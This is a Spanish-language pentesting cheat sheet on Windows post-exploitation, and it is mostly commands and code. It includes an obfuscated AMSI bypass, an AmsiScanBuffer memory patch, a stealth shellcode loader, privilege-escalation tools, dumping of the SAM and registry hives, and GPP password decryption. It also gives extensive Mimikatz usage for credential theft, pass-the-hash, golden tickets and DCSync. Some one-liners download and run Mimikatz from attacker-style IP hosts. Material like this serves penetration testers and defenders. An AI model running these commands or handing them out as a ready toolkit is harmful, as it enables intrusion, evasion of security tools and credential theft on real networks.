Windows
Última actualización
¿Te fue útil?
Última actualización
¿Te fue útil?
El siguiente comando permite modificar la política de PowerShell de forma que se permita la ejecución de todos los scripts sin firmar y sin aplicar restricciones ni advertencias (-exec bypass). Además, no se carga el perfil del usuario, lo que permite evadir posibles restricciones (-nop).
powershell -nop -exec bypass
Invisi-Shell abusa de una técnica conocida como Reflection (reflexión) en .NET para cargar e invocar directamente las funciones internas del motor de PowerShell en memoria. Esto evita el uso explícito de powershell.exe
o pwsh.exe
, lo cual es comúnmente monitorizado por soluciones de seguridad.
Carga dinámicamente la librería System.Management.Automation.dll
, que contiene el motor de PowerShell embebido. Usando System.Reflection
, instancia clases como PowerShell
o Runspace
sin tener que lanzar un proceso.
git clone "https://github.com/OmerYa/Invisi-Shell.git"
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
C:\AD\Tools\InviShell\RunWithPathAsAdmin.bat
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
S`eT-It`em ( 'V'+'aR' + 'IA' + (("{1}{0}"-f'1','blE:')+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a')) ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/
En la siguiente tabla se enumeran algunos scripts que permiten la evasión. También se indica la última fecha en la que he podido ejecutar el script sin restricción:
Windows 10
15/10/2024
15/10/2024
15/10/2024
Por ejemplo:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
Artefacto de carga (loader) cuya función principal es facilitar la ejecución de shellcode de forma sigilosa. Implementa técnicas de evasión para minimizar la detección y suele ser el único componente persistente en disco durante la operación.
https://github.com/xtormin/SilentLoader
git clone "https://github.com/xtormin/SilentLoader.git"
cd SilentLoader
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:sloader.exe /target:exe /reference:System.dll /reference:System.Core.dll SilentLoader.cs
.\SilentLoader.exe -f [programa.exe] [-p "argumentos opcionales"]
.\SilentLoader.exe -f Rubeus.exe
PSAmsi es una herramienta que permite evadir AMSI (Antimalware Scan Interface) en PowerShell.
https://github.com/cobbr/PSAmsi.git
cd .\PSAmsi\PSAmsi
Import-Module .\PSAmsi.psd1
$Scanner.GetPSAmsiScanResult('test')
False
$Scanner.GetPSAmsiScanResult([Uri]::new('https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/refs/heads/master/Collectors/DebugBuilds/SharpHound.ps1'))
True
https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS
Última versión y binarios: https://github.com/peass-ng/PEASS-ng/releases
iwr https://github.com/peass-ng/PEASS-ng/releases/download/20241007-05f777b2/winPEASx64.exe -outputfile winpeas64.exe
Ejecución básica:
.\winPEASx64.exe
Para entornos más restringidos, se puede usar un loader que permita cargar y ejecutar en memoria el programa. Por ejemplo:
.\sloader.exe -f C:\Pentest\Tools\winPEASx64.exe -p notcolor log
https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1
. C:\AD\Tools\PowerUp.ps1
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Se enumeran las posibles vías de elevación de privilegios y se exporta la información a un fichero html:
Invoke-AllChecks -HTMLReport
git clone "https://github.com/itm4n/PrivescCheck.git"
Invoke-PrivescCheck -Extended -Audit -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML,CSV,XML
WSUS (Windows Server Update Services) es un servicio que permite gestionar la distribución de actualizaciones en redes corporativas con sistemas Windows.
Es un servidor centralizado que descarga y distribuye parches de seguridad y actualizaciones en los clientes de la red local.
Para comprobar si el servidor WSUS es vulnerable a CVE-2020-1013, se tienen que dar dos condiciones:
El servidor WSUS tiene que utilizar el protocolo HTTP en vez de HTTPS. Para comprobar cuál servidor WSUS se está utilizando:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xtormin.local:8530
Que el uso del servidor WSUS esté activado. Para ello, el resultado del siguiente registro debe ser igual a 0:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
Writeup de la investigación y presentación en la BlackHat:
Otras referencias:
wget https://raw.githubusercontent.com/Hackplayers/PsCabesha-tools/master/Privesc/Azure-ADConnect.ps1
Azure-ADConnect -server 127.0.0.1 -db ADSync
Identificación
PowerUp
Ejemplo de explotación
PowerUp
Buscar máquinas donde el usuario tiene permisos de administrador local:
. C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess
winrs:
winrs -r:<Nombre de la máquina> cmd
set username
set computername
PSSession:
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local
$env:username
reg save HKLM\SAM C:\WINDOWS\Temp\sam.dmp
reg save HKLM\SYSTEM C:\WINDOWS\Temp\system.dmp
reg save HKLM\security C:\WINDOWS\Temp\security.dmp
samdump2 system sam
/home/kali/tools/impacket/examples/secretsdump.py -sam sam.dmp -system system.dmp -security security.dmp LOCAL
cd %windir%\system32\grouppolicy
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="jdBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
gpp-decrypt jdBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
certutil -urlcache -split -f http://192.168.119.142/mimikatz.exe C:\Windows\Temp\mimikatz.exe && C:\Windows\Temp\mimikatz.exe
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.5/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds
privilege::debug
log
log customlogfilename.log
token::elevate
privilege::debug
token::elevate
sekurlsa::logonpasswords
sekurlsa::ekeys
sekurlsa::logonpasswords
sekurlsa::logonPasswords full
sekurlsa::tickets
sekurlsa::tickets /export
sekurlsa::tspkg
sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:4c13687d23a3a88e57fc9ef8bb4cdf2f /run:cmd
sekurlsa::minidump c:\Windows\Temp\lsass.dmp
kerberos::list /export
kerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi
lsadump::dcsync /user:domain\krbtgt /domain:xor.com
lsadump::dcsync /domain:xor.com /all /csv
lsadump::dcsync /domain:xor.com /user:administrator
lsadump::lsa /inject
token::elevate
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert
vault::cred
vault::cred /patch
vault::list
ts::multirdp
ts::logonpasswords
sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:cc36cf7a8514893efccd332446158b1a
sekurlsa::pth /user:Administrator /domain:xtormincorp.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:{NTLM_hash} /run:cmd.exe
Se parsean los logs de Windows Event ID 4688 para extraer credenciales:
nxc smb 192.168.1.100 -u $USER -p $PASS -M eventlog_creds
Track 3 15 Goodbye Obfuscation Hello Invisi Shell Hiding Your Powershell Script in Plain Sight Omer - https://www.youtube.com/watch?v=Y3oMEiySxcc
Otras formas de transferir ficheros:
Otras formas de transferir ficheros:
Get-ModifiableService
Invoke-ServiceAbuse -Name 'WebServer' -UserName 'xtormincorp\xtormin' -Verbose